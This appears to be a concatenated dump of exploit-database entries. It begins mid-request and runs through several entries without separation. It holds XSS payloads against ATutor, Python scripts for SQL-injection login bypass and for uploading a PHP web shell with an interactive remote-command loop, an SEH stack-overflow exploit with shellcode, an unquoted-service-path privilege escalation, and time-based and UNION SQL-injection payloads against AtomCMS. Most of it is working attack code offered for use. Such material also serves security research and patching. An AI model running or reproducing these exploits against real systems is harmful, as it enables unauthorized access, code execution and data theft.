Host: www.example.com
(...)
Content-Length: 667

action=process&form_admin_password_hidden=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8&form_account_password_hidden=5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8&step=3&step2%5Bnew_version%5D='%3e"%3e%3cscript%3ealert(1)%3c%2fscript%3e&step2%5Bdb_host%5D=localhost&step2%5Bdb_port%5D=3306&step2%5Bdb_login%5D=root&step2%5Bdb_password%5D=superpass&step2%5Bdb_name%5D=atutor&step2%5Btb_prefix%5D=AT_&smtp=false&admin_username=admin&admin_password=&admin_email=admin%40here.com&site_name=Course+Server&email=admin%40here.com&just_social=0&home_url=&account_username=admin&account_password=&account_email=admin%40here.com&account_fname=admin&account_lname=admin&submit=+Next+%BB

---<request>---

Vulnerable to XSS are also parameters:
step2%5Bnew_version%5D
step2%5Bdb_host%5D
step2%5Bdb_port%5D
step2%5Bdb_login%5D
step2%5Bdb_password%5D
step2%5Bdb_name%5D
step2%5Btb_prefix%5D


# ==============================================================
# 3. Persistent XSS (from admin)

---<request>---
POST /k/cms/atutor/ATutor/mods/_standard/forums/admin/forum_add.php HTTP/1.1
Host: www.example.com
(...)
Content-Length: 108

add_forum=true&title='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&description=aaaaaaaaaaaaaa&edit=0&submit=Save
---<request>---

---<response>---
<span class="required" title="Required Field">*</span><label
for="title">Title</label><br />
    <input type="text" name="title" size="40" id="title"
value="'>"><body/onload=alert(9999)>" />
  </div>
---<response>---



# ==============================================================
# 4. Edit config (from admin user):

---<request>---
POST /k/cms/atutor/ATutor/admin/config_edit.php HTTP/1.1
Host: www.example.com
(...)
Content-Length: 946

site_name='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&home_url=http%3A%2F%2Fwww.atutorspaces.com&default_language=en&contact_email=admin%40here.com&time_zone=0&session_timeout=20&max_file_size=10485760&max_course_size=104857600&max_course_float=2097152&max_login=5&display_name_format=1&master_list=0&allow_registration=1&allow_browse=1&show_current=1&allow_instructor_registration=1&use_captcha=0&allow_unenroll=1&email_confirmation=0&allow_instructor_requests=1&disable_create=0&email_notification=1&auto_approve_instructors=0&theme_categories=0&user_notes=0&illegal_extentions=exe+asp+php+php3+bat+cgi+pl+com+vbs+reg+pcd+pif+scr+bas+inf+vb+vbe+wsc+wsf+wsh&cache_dir=&cache_life=7200&latex_server=http%3A%2F%2Fwww.atutor.ca%2Fcgi%2Fmimetex.cgi%3F&course_backups=5&sent_msgs_ttl=120&check_version=0&fs_versioning=1&old_enable_mail_queue=0&enable_mail_queue=0&auto_install_languages=0&pretty_url=0&course_dir_name=0&apache_mod_rewrite=0&submit=Save
---<request>---
            
# Exploit Title: Attendance and Payroll System v1.0 - SQLi Authentication Bypass
# Date: 04/03/2022
# Exploit Author: pr0z
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/apsystem.zip
# Version: v1.0
# Tested on: Linux, MySQL, Apache

import requests
import sys
from requests.exceptions import ConnectionError


print('\n    >> Attendance and Payroll System v1.0')
print('    >> Authentication Bypass through SQL injection')
print('    >> By pr0z\n')

login_path = '/apsystem/admin/login.php'
index_path = '/apsystem/admin/index.php'

payload = "username=nobodyhavethisusername' UNION SELECT 1 as id, 'myuser' as username, '$2y$10$UNm8zqwv6d07rp3zr6iGD.GXNqo/P4qB7fUZB79M3vmpQ6SidGi.G' as password ,'zzz' as firstname,'zzz' as lastname,'zzz.php' as photo, '2018-04-30' as created_on -- &password=test&login="
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


# Check for arguments
if len(sys.argv) < 2 or '-h' in sys.argv:
    print("[!] Usage: python3 apsystem_sqli.py http://127.0.0.1")
    sys.exit()

# Bypass Authentication
target = sys.argv[1]
print("[+] Extracting Administrator cookie using SQLi ...")
sess = requests.Session()
try:
    sess.get(target + index_path,headers=headers, verify=False)
    sess.post(target + login_path, data=payload, headers=headers,verify=False)
except ConnectionError:
    print('[-] We were unable to establish a connection')
    sys.exit()

cookie_val = sess.cookies.get_dict().get("PHPSESSID")

print("[+] Use the following cookie:\n")
print(f"PHPSESSID: {cookie_val}")
            
# Exploit Title: Attendance and Payroll System v1.0 - Remote Code Execution (RCE)
# Date: 04/03/2022
# Exploit Author: pr0z
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/apsystem.zip
# Version: v1.0
# Tested on: Linux, MySQL, Apache

import requests
import sys
from requests.exceptions import ConnectionError

# Interface class to display terminal messages
class Interface():
    def __init__(self):
        self.red = '\033[91m'
        self.green = '\033[92m'
        self.white = '\033[37m'
        self.yellow = '\033[93m'
        self.bold = '\033[1m'
        self.end = '\033[0m'

    def header(self):
        print('\n    >> Attendance and Payroll System v1.0')
        print('    >> Unauthenticated Remote Code Execution')
        print('    >> By pr0z\n')

    def info(self, message):
        print(f"[{self.white}*{self.end}] {message}")

    def warning(self, message):
        print(f"[{self.yellow}!{self.end}] {message}")

    def error(self, message):
        print(f"[{self.red}x{self.end}] {message}")

    def success(self, message):
        print(f"[{self.green}✓{self.end}] {self.bold}{message}{self.end}")


upload_path = '/apsystem/admin/employee_edit_photo.php'
shell_path = '/apsystem/images/shell.php'
#proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

shell_data = "<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd);}?>"

multipart_form_data = {
    'id': 1,
    'upload': (''),
}

files = {'photo': ('shell.php', shell_data)}

output = Interface()
output.header()

# Check for arguments
if len(sys.argv) < 2 or '-h' in sys.argv:
    output.info("Usage: python3 rce.py http://127.0.0.1")
    sys.exit()

# Upload the shell
target = sys.argv[1]
output.info(f"Uploading the web shell to {target}")
r = requests.post(target + upload_path, files=files, data=multipart_form_data, verify=False)

# Validating shell has been uploaded
output.info(f"Validating the shell has been uploaded to {target}")
r = requests.get(target + shell_path, verify=False)
try:
    r = requests.get(target + shell_path)
    if r.status_code == 200:
        output.success('Successfully connected to web shell\n')
    else:
        raise Exception
except ConnectionError:
    output.error('We were unable to establish a connection')
    sys.exit()
except:
    output.error('Something unexpected happened')
    sys.exit()

# Remote code execution
while True:
    try:
        cmd = input("\033[91mRCE\033[0m > ")
        if cmd == 'exit':
            raise KeyboardInterrupt
        r = requests.get(target + shell_path + "?cmd=" + cmd, verify=False)
        if r.status_code == 200:
            print(r.text)
        else:
            raise Exception
    except KeyboardInterrupt:
        sys.exit()
    except ConnectionError:
        output.error('We lost our connection to the web shell')
        sys.exit()
    except:
        output.error('Something unexpected happened')
        sys.exit()
            
## Exploit Title: atrocore 1.5.25 User interaction - Unauthenticated File upload - RCE
## Author: nu11secur1ty
## Date: 02.16.2023
## Vendor: https://atropim.com/
## Software: https://github.com/atrocore/atrocore/releases/tag/1.5.25
## Reference: https://portswigger.net/web-security/file-upload

## Description:
The `Create Import Feed` option with `glyphicon-glyphicon-paperclip`
function appears to be vulnerable to User interaction -
Unauthenticated File upload - RCE attacks.
The attacker can easily upload a malicious then can execute the file
and can get VERY sensitive information about the configuration of this
system, after this he can perform a very nasty attack.


STATUS: HIGH Vulnerability CRITICAL

[+]Payload:

```PHP
<?php
	phpinfo();
?>
```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/atrocore/atrocore-1.5.25)

## Reference:
[href](https://portswigger.net/web-security/file-upload)

## Proof and Exploit:
[href](https://streamable.com/g8998d)

## Time spend:
00:45:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
            
source: https://www.securityfocus.com/bid/60859/info

Atomy Maxsite is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Atomy Maxsite versions 1.50 through 2.5 are vulnerable. 

http://www.example.com/[path]/index.php?name=research&file=add&op=research_add 
            
# Exploit Title: Atomic Alarm Clock x86 6.3 - 'AtomicAlarmClock' Unquoted Service Path
# Exploit Author: boku
# Date: 2020-04-17
# Vendor Homepage: http://www.drive-software.com
# Software Link: http://www.drive-software.com/download/ataclock.exe
# Version: 6.3
# Tested On: Windows 10 Pro 1909 (32-bit)
# Vulnerability Type: Local Privilege Escalation by unquoted service path owned by 'LocalSystem'.

# Vulnerability Description:
# The Atomic Alarm Clock service "timeserv.exe" will load an arbitrary EXE and execute it with SYSTEM integrity. 
# This security misconfiguration by the vendor can be exploited locally or as part of an attack chain. 
# By placing a file named "Program.exe" on the root drive, an attacker can obtain persistent arbitrary code execution. 
# Under normal environmental conditions, this exploit ensures escalation of privileges from Admin to SYSTEM.

C:\Users\boku>sc qc AtomicAlarmClock
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AtomicAlarmClock
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Atomic Alarm Clock\timeserv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Atomic Alarm Clock Time
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
# Exploit Title: Atomic Alarm Clock 6.3 - Stack Overflow (Unicode+SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-17
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/ataclock.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: Atomic Alarm Clock 6.3 beta
# Recreate: Install > Open > Run Exploit > Open poc.txt & copy to clipboard > Time Zones > Clock1 > click 'Enter display name' textbox > paste buffer

File    = 'poc.txt'

os_nSEH = '\x41'*(461)
nSEH    = '\xeb\x05'   # jmp short +2
SEH     = '\x47\x47'   # 0x00470047 : pop esi # pop ebx # ret [AtomicAlarmClock.exe] 
#{PAGE_EXECUTE_READ} ASLR: False, Rebase: False, SafeSEH: False 

getPC   = '\x73'   # add [ebx], dh   # nop | [EBX] = writable memory 
getPC  += '\x61'   # popad           # [ESP] = &Payload
getPC  += '\x72'   # add [edx], dh   # realigns execution for 1 byte opcodes

ebx2eax  = '\x58'  # pop eax         # EAX = &Payload
ebx2eax += '\x72'  # add [edx], dh

# Ajust EAX to &Decoder
getDecoder  = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72'         # add [edx], dh
getDecoder += '\x50'         # push eax            # [ESP] = &Decoder
getDecoder += '\x72'         # add [edx], dh

#DecoderHex  = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' 
firstHalf   = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' 
## 2nd byte - \x00 => \x5F
venBlinds   = '\x40\x72\xC6\x5F\x72\x40\x72\x40\x72'         
## 4th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 6th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 8th byte - \x00 => \x66
venBlinds  += '\xC6\x66\x72\x40\x72\x40\x72'         
## 10th byte - \x00 => \x10
venBlinds  += '\xC6\x10\x72\x40\x72\x40\x72'         
## 12th byte - \x00 => \x33
venBlinds  += '\xC6\x33\x72\x40\x72\x40\x72'         
## 14th byte - \x00 => \x42
venBlinds  += '\xC6\x42\x72\x40\x72\x40\x72'         
## 16th byte - \x00 => \x32
venBlinds  += '\xC6\x32\x72\x40\x72\x40\x72'         
## 18th byte - \x00 => \x02
venBlinds  += '\xC6\x02\x72\x40\x72\x40\x72'         
## 20th byte - \x00 => \x10
venBlinds  += '\xC6\x10\x72\x40\x72\x40\x72'         
## 22nd byte - \x00 => \x3F
venBlinds  += '\xC6\x3F\x72\x40\x72\x40\x72'         
## 24nd byte - \x00 => \x1F
venBlinds  += '\xC6\x1F\x72\x40\x72\x40\x72'         
## 26th byte - \x00 => \x49
venBlinds  += '\xC6\x49\x72\x40\x72\x40\x72'         
## 28th byte - \x00 => \x02
venBlinds  += '\xC6\x02\x72\x40\x72\x40\x72'         
## 30th byte - \x00 => \xED
venBlinds  += '\xC6\xED\x72\x40\x72\x40\x72'         
## 32nd byte - \x00 => \xC3
venBlinds  += '\xC6\xC3\x72\x40\x72'         
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds  += '\xC3'         #   ret  [!] Now we are executing the decoder!

os_decoder   = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))

# Custom PopCalc shellcode that avoids the bad characters
fKernel32  = '\x33\xF6\xF7\xE6\x64\x03\x52\x30\x03\x42\x0C\x03\x70\x1C\xAD\x50\x5E\xAD\xFF\x70\x08'

gExpotTbl  = '\x33\xC9\x33\xF6\x33\xDB\xF7\xE3\x58\x50\x03\x70\x3C\x03\xF0\x03\x56\x78\x03\xD0\x03\x5A\x20\x03\xD8\x03\x4A\x24\x03\xC8\x51\x33\xFF\x03\x7A\x1C\x03\xF8\x57'

fWinExec   = '\x68\x57\x69\x6E\x45\x33\xC0\x33\xF6\x03\xF4\xFC\x50\x33\xC9\x41\x41\x41\x41\xF7\xE1\x33\xFF\x03\x3C\x18\x58\x03\x7C\x24\x0C\xF3\xA6\x74\x03\x40\xEB\xE1\x33\xC9\x41\x41\xF7\xE1\x33\xC9\x03\x4C\x24\x08\x03\xC8\x33\xC0\x66\x03\x01\x33\xC9\x41\x41\x41\x41\xF7\xE1\xFF\x74\x24\x04\x01\x04\x24\x5A\x33\xDB\x03\x1A\x03\x5C\x24\x0C'

# Call WinExec( CmdLine, ShowState );
#   CmdLine   = "calc.exe"
#   ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec  = '\x33\xC9\x51\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x33\xC0\x03\xC4\x41\x51\x50\xFF\xD3'

shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec

buffer      = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler      = '\x77'*(9000-len(buffer))
buffer      = buffer+filler

try:
    payload   = buffer
    f         = open(File, 'w')
    f.write(payload)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'
            
HireHackking

AtomCMS v2.0 - SQLi

# Exploit Title: AtomCMS v2.0 - SQLi
# Date: 08/02/2022
# Exploit Author: Luca Cuzzolin aka czz78
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Version: v2.0
# Category: Webapps
# Tested on: Debian linux
# CVE : CVE-2022-24223


====================================================

# PoC : SQLi :

http://127.0.0.1/Atom.CMS/admin/login.php


POST /Atom.CMS/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101
Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/Atom.CMS/admin/login.php
Cookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
email=test%40test.com&password=1234


Vulnerable Payload :

Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=test@test.com' AND (SELECT 5613 FROM
(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234
    Vector: AND (SELECT [RANDNUM] FROM
(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: email=test@test.com' UNION ALL SELECT
NULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--
-&password=1234
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -
---



====================================================
            
source: https://www.securityfocus.com/bid/68437/info

AtomCMS is prone to an SQL-injection vulnerability and an arbitrary file-upload vulnerability.

Exploiting these issues could allow an attacker to upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/acms/admin/uploads.php?id=1 
            
# Exploit Title: Atom CMS v2.0 - SQL Injection (no auth)
# Date: 15/10/2022
# Exploit Author: Hubert Wojciechowski
# Contact Author: hub.woj12345@gmail.com
# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS
# Software Link: https://github.com/thedigicraft/Atom.CMS
# Version: 2.0
# Tested on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

## Example
-----------------------------------------------------------------------------------------------------------------------
Param: id
-----------------------------------------------------------------------------------------------------------------------
Req
-----------------------------------------------------------------------------------------------------------------------

POST /Atom.CMS-master/admin/index.php?page=users&id=(select*from(select(sleep(10)))a) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/Atom.CMS-master/admin/index.php?page=users&id=1
Cookie: phpwcmsBELang=en; homeMaxCntParts=10; homeCntType=24; PHPSESSID=k3a5d2usjb00cd7hpoii0qgj75
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

first=Alan2n&last=Quandt&email=alan%40alan.com&status=1&password=&passwordv=&submitted=1&id=1
--------------------------------------------------------------------------------------------------------------------- --
Response wait 10 sec
-----------------------------------------------------------------------------------------------------------------------
Other URL and params
-----------------------------------------------------------------------------------------------------------------------
/Atom.CMS-master/admin/index.php [email]
/Atom.CMS-master/admin/index.php [id]
/Atom.CMS-master/admin/index.php [slug]
/Atom.CMS-master/admin/index.php [status]
/Atom.CMS-master/admin/index.php [user]